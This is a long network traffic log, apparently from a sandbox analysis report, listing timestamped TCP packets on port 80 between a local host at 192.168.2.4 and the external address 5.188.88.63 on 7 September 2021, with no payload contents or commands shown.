Sep 7, 2021 16:02:39.957525969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957586050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957609892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957633018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957657099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957680941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957695961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.957699060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957720041 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.957725048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.957726002 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.957730055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.957748890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958301067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958524942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958550930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958583117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958606958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958635092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958658934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958678961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958704948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958729029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958756924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.958782911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.958796024 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.958801031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.958805084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.958810091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.958812952 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.958817005 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.959395885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.959882021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.959908962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.960052013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.960063934 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.960181952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.960258961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.960311890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.960422039 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.960439920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.960527897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.961870909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.962246895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962762117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962795019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962817907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962845087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962865114 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.962872028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962877035 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.962898016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962923050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962945938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962968111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.962990999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963013887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963036060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963058949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963061094 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963069916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963073015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963077068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963082075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963109016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963146925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963171959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963193893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963217020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963229895 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963242054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963253975 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963258028 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963260889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963272095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963299036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963321924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963346958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963372946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963395119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963418961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963440895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963466883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963485956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963491917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963495970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963500977 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963505030 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963515997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963540077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963733912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963757038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963779926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.963856936 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963877916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963890076 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.963893890 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.964138031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964164972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964191914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964236021 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.964554071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964579105 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964603901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964627981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964654922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.964653015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.964668989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.964679956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.965502977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.965529919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.965555906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.965579987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.965580940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.965605974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.965610027 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.965616941 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.965620995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.965950966 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.968457937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.968487024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.968513012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.970398903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.973942995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.974579096 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.009418011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010190010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010256052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010281086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010299921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010325909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010349989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010373116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010391951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.010422945 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.010524035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.010528088 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.011259079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011291981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011316061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011346102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011370897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011382103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.011395931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011406898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.011420965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.011430979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.012873888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.012909889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.012933016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.012959957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.012984037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013008118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013032913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013324022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013340950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013360023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013382912 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013387918 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013519049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013556004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013577938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013614893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013726950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013756037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013760090 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013776064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.013782024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.013843060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.014002085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.014025927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.014060020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.014081001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.016495943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.016590118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.017044067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.022226095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022284031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022322893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022372961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022414923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022454023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022492886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022535086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022572994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022610903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022648096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022696018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022739887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.022934914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023014069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023058891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023099899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023181915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023230076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023272991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023310900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.023353100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.028856993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.028963089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.028992891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029022932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029052019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029078960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029108047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029140949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029171944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029198885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029226065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029253960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029282093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029310942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029337883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029371977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029402018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029427052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029454947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029481888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029506922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029532909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029558897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029591084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029620886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029647112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029674053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029700041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029726028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029752970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029781103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029814005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.029844999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.030788898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.030855894 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.030879974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.030991077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031023026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031049967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031075954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031104088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031163931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031198025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031199932 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.031207085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.031209946 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.031228065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.031348944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.031361103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.032020092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032191992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032223940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032250881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032277107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032319069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032347918 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.032378912 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.032392025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.032394886 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.034498930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034528017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034573078 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.034601927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034634113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034661055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034687042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034776926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034806967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.034838915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.034849882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.034857035 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.035254955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.035285950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.035315037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.035409927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.035420895 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.035478115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.035511971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.035583019 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.035598040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.039407969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.039747953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.043571949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.070677042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070720911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070759058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070800066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070836067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070877075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070914984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.070939064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.070964098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071005106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.071008921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071012020 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.071228981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.071482897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071552992 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.071610928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071650028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071698904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071825981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071865082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.071902990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073129892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073215961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073256016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073295116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073297024 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073309898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073333025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073335886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073339939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073388100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073474884 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073637009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073683023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073720932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073760033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073796034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073843956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.073849916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073863983 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073870897 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.073888063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.074198008 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.075377941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.075422049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.075459003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.075491905 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.076534033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.076564074 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.082556963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082600117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082629919 CEST	80	49744	5.188.88.63	192.168.2.4
